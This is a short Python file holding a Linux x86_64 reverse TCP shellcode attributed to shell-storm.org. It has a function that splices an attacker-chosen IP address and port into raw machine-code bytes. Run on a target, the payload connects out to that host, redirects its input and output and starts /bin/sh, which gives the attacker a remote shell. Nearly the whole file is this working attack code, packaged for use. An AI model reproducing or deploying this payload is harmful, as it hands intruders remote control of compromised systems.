#http://shell-storm.org/shellcode/files/shellcode-857.php

#Title   : reversetcpbindshell  (118 bytes)
#Date    : 04 October 2013
#Author  : Russell Willis <codinguy@gmail.com>
#Tested on: Linux/x86_64 (SMP Debian 3.2.46-1+deb7u1 x86_64 GNU/Linux)


#WORK TESTED
#Linux whoami 3.19.0-33-generic #38~14.04.1-Ubuntu SMP Fri Nov 6 18:17:28 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
def reverse_tcpx64( IP, PORT):
	shellcode =  r"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
	shellcode += r"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
	shellcode += r"\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02"
	shellcode += PORT
	shellcode += r"\xc7\x44\x24\x04"
	shellcode += IP
	shellcode += r"\x48\x89\xe6\x6a\x10"
	shellcode += r"\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48"
	shellcode += r"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
	shellcode += r"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
	shellcode += r"\x5f\x6a\x3b\x58\x0f\x05"
	return shellcode

